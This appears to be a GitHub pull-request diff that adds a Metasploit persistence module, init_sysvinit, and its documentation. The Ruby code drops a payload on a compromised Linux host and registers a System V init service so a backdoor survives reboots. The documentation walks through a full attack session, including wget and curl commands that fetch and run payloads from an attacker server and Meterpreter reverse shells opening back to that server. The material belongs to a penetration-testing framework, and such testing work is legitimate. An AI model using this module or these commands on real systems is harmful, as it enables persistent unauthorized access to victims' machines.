Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
119 changes: 119 additions & 0 deletions documentation/modules/exploit/linux/persistence/init_sysvinit.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,119 @@
## Vulnerable Application

This module will create a service via System V on the box, and mark it for auto-restart.
We need enough access to write service files and potentially restart services

Targets:

* CentOS <= 5
* Debian <= 6
* Kali 2.0
* Ubuntu <= 9.04

Note: System V won't restart the service if it dies, only an init change (reboot etc) will restart it.

Verified on [Kali 2.0](https://old.kali.org/kali-images/kali-2.0/kali-linux-2.0-amd64.iso)

## Verification Steps

1. Exploit a box
2. `use exploit/linux/persistence/init_sysvinit`
3. `set SESSION <session>`
4. `set PAYLOAD <payload>`
5. `set LHOST <lhost>`
6. `exploit`

## Options

### SERVICE

The name of the service to create. If not chosen, a random one is created.

### PAYLOAD_NAME

The name of the file to write with our shell if a non-cmd payload is used. If not chosen, a random one is created.

### EnableService

If the service should be enabled. Defaults to `true`

## Scenarios

### Kali 2.0

Initial access vector via web delivery

```
resource (/root/.msf4/msfconsole.rc)> setg verbose true
verbose => true
resource (/root/.msf4/msfconsole.rc)> setg lhost 111.111.1.111
lhost => 111.111.1.111
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
[*] Using configured payload python/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set srvport 8181
srvport => 8181
resource (/root/.msf4/msfconsole.rc)> set target 7
target => 7
resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set lport 4545
lport => 4545
resource (/root/.msf4/msfconsole.rc)> set URIPATH l
URIPATH => l
resource (/root/.msf4/msfconsole.rc)> run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Starting persistent handler(s)...
[*] Started reverse TCP handler on 111.111.1.111:4545
[*] Using URL: http://111.111.1.111:8181/l
[*] Server started.
[*] Run the following command on the target machine:
wget -qO 1KkF4s8n --no-check-certificate http://111.111.1.111:8181/l; chmod +x 1KkF4s8n; ./1KkF4s8n& disown
[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) > [*] 222.222.2.22 web_delivery - Delivering Payload (250 bytes)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 222.222.2.22
[*] Meterpreter session 1 opened (111.111.1.111:4545 -> 222.222.2.22:56459) at 2025-02-16 07:51:56 -0500
[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > sessions -i 1
[*] Starting interaction with 1...
(Meterpreter 1)(/root) > getuid
Server username: root
(Meterpreter 1)(/root) > sysinfo
Computer : kali2.0
OS : Kali 2.0 (Linux 4.0.0-kali1-amd64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
(Meterpreter 1)(/root) > background
[*] Backgrounding session 1...
```

Persistence

```
[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > use exploit/linux/persistence/init_sysvinit
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
[msf](Jobs:1 Agents:1) exploit(linux/persistence/init_sysvinit) > set session 1
session => 1
[msf](Jobs:1 Agents:1) exploit(linux/persistence/init_sysvinit) > exploit
[*] Command to run on remote host: curl -so ./BQVXqXpLiG http://111.111.1.111:8080/Hg3DGEu9GqlWD06kh4AzFg;chmod +x ./BQVXqXpLiG;./BQVXqXpLiG&
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
[msf](Jobs:2 Agents:1) exploit(linux/persistence/init_sysvinit) >
[*] Fetch handler listening on 111.111.1.111:8080
[*] HTTP server started
[*] Adding resource /Hg3DGEu9GqlWD06kh4AzFg
[*] Started reverse TCP handler on 111.111.1.111:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[!] Payloads in /tmp will only last until reboot, you want to choose elsewhere.
[+] The target appears to be vulnerable. /tmp/ is writable and system is System V based
[*] Writing backdoor to /tmp//MarxU
[*] Utilizing update-rc.d
[*] Writing service: /etc/init.d/JIxbnwyUcQ
[+] Enabling & starting our service
[*] Client 222.222.2.22 requested /Hg3DGEu9GqlWD06kh4AzFg
[*] Sending payload to 222.222.2.22 (curl/7.38.0)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 222.222.2.22
[*] Meterpreter session 2 opened (111.111.1.111:4444 -> 222.222.2.22:55807) at 2025-02-16 07:56:21 -0500
[*] Meterpreter-compatible Cleaup RC file: /root/.msf4/logs/persistence/kali2.0_20250216.5622/kali2.0_20250216.5622.rc
```
237 changes: 237 additions & 0 deletions modules/exploits/linux/persistence/init_sysvinit.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,237 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::File
include Msf::Post::Unix
include Msf::Exploit::EXE # for generate_payload_exe
include Msf::Exploit::FileDropper
include Msf::Exploit::Local::Persistence
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Deprecated
moved_from 'exploits/linux/local/service_persistence'

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Service System V Persistence',
'Description' => %q{
This module will create a service via System V on the box, and mark it for auto-restart.
We need enough access to write service files and potentially restart services
Targets:
CentOS <= 5
Debian <= 6
Kali 2.0
Ubuntu <= 9.04
Note: System V won't restart the service if it dies, only an init change (reboot etc) will restart it.
Verified on Kali 2.0
},
'License' => MSF_LICENSE,
'Author' => [
'h00die',
],
'Platform' => ['unix', 'linux'],
'Targets' => [
[
'System V', {
runlevel: '2 3 4 5'
}
]
],
'DefaultTarget' => 0,
'Arch' => [
ARCH_CMD,
ARCH_X86,
ARCH_X64,
ARCH_ARMLE,
ARCH_AARCH64,
ARCH_PPC,
ARCH_MIPSLE,
ARCH_MIPSBE
],
'References' => [
['URL', 'https://www.digitalocean.com/community/tutorials/how-to-configure-a-linux-service-to-start-automatically-after-a-crash-or-reboot-part-1-practical-examples'],
['ATT&CK', Mitre::Attack::Technique::T1543_CREATE_OR_MODIFY_SYSTEM_PROCESS]
],
'SessionTypes' => ['shell', 'meterpreter'],
'Privileged' => true,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
},
'DisclosureDate' => '1983-01-01' # system v release date
)
)

register_options(
[
OptString.new('PAYLOAD_NAME', [false, 'Name of shell file to write']),
OptString.new('SERVICE', [false, 'Name of service to create'])
]
)
register_advanced_options(
[
OptBool.new('EnableService', [true, 'Enable the service', true])
]
)
end

def check
print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')
return CheckCode::Safe("#{writable_dir} isnt writable") unless writable?(writable_dir)

has_updatercd = command_exists?('update-rc.d')
if has_updatercd || command_exists?('chkconfig') # centos 5
return CheckCode::Appears("#{writable_dir} is writable and system is System V based")
end

CheckCode::Safe('Likely not a System V based system')
end

def install_persistence
backdoor = write_shell(writable_dir)

path = backdoor.split('/')[0...-1].join('/')
file = backdoor.split('/')[-1]

system_v(path, file, target.opts[:runlevel], command_exists?('update-rc.d'))
end

def write_shell(path)
file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10)
backdoor = "#{path}/#{file_name}"
vprint_status("Writing backdoor to #{backdoor}")
if payload.arch.first == 'cmd'
write_file(backdoor, payload.encoded)
chmod(backdoor, 0o755)
else
upload_and_chmodx backdoor, generate_payload_exe
end
@clean_up_rc << "rm #{backdoor}\n"

if file_exist?(backdoor)
chmod(backdoor, 0o711)
return backdoor
end
fail_with(Failure::NoAccess, 'File not written, check permissions.')
end

def system_v(backdoor_path, backdoor_file, runlevel, has_updatercd)
if has_updatercd
vprint_status('Utilizing update-rc.d')
else
vprint_status('Utilizing chkconfig')
end

service_filename = datastore['SERVICE'] || Rex::Text.rand_text_alpha(7..12)

script = <<~EOF
#!/bin/sh
### BEGIN INIT INFO
# Provides: #{service_filename}
# Required-Start: $network
# Required-Stop: $network
# Default-Start: #{runlevel}
# Default-Stop: 0 1 6
# Short-Description: Start daemon at boot time
# Description: Enable service provided by daemon.
### END INIT INFO
DIR="#{backdoor_path}"
CMD="#{backdoor_file}"
NAME="$(basename "$0")"
PID_FILE="/var/run/$NAME.pid"
STDOUT_LOG="/var/log/$NAME.log"
STDERR_LOG="/var/log/$NAME.err"
get_pid() {
[ -f "$PID_FILE" ] && cat "$PID_FILE"
}
is_running() {
PID=$(get_pid)
[ -n "$PID" ] && kill -0 "$PID" 2>/dev/null
}
start_service() {
if is_running; then
echo "$NAME is already running."
return 0
fi
echo "Starting $NAME..."
#{'sudo ' if has_updatercd} $DIR/$CMD >> "$STDOUT_LOG" 2>> "$STDERR_LOG" &
echo $! > "$PID_FILE"
sleep 1
if is_running; then
echo "$NAME started successfully."
else
echo "Failed to start $NAME. Check logs: $STDOUT_LOG $STDERR_LOG"
exit 1
fi
}
stop_service() {
if ! is_running; then
echo "$NAME is not running."
return 0
fi
echo "Stopping $NAME..."
kill "$(get_pid)" && rm -f "$PID_FILE"
for i in $(seq 1 10); do
if ! is_running; then
echo "$NAME stopped."
return 0
fi
sleep 1
done
echo "Failed to stop $NAME."
exit 1
}
case "$1" in
start) start_service ;;
stop) stop_service ;;
restart)
stop_service
start_service
;;
status)
if is_running; then
echo "$NAME is running."
else
echo "$NAME is stopped."
exit 1
fi
;;
*)
echo "Usage: $0 {start|stop|restart|status}"
exit 1
;;
esac
exit 0
EOF

service_name = "/etc/init.d/#{service_filename}"
vprint_status("Writing service: #{service_name}")
write_file(service_name, script)

fail_with(Failure::NoAccess, 'Service file not written, check permissions.') unless file_exist?(service_name)

@clean_up_rc << "rm #{service_name}\n"
chmod(service_name, 0o755)
print_good('Enabling & starting our service')
if has_updatercd
cmd_exec("update-rc.d #{service_filename} defaults")
cmd_exec("update-rc.d #{service_filename} enable")
if file_exist?('/usr/sbin/service') # some systems have update-rc.d but not service binary, have a fallback just in case
cmd_exec("service #{service_filename} start")
else
cmd_exec("/etc/init.d/#{service_filename} start")
end
else # CentOS
cmd_exec("chkconfig --add #{service_filename}")
cmd_exec("chkconfig #{service_filename} on")
cmd_exec("/etc/init.d/#{service_filename} start")
end
end
end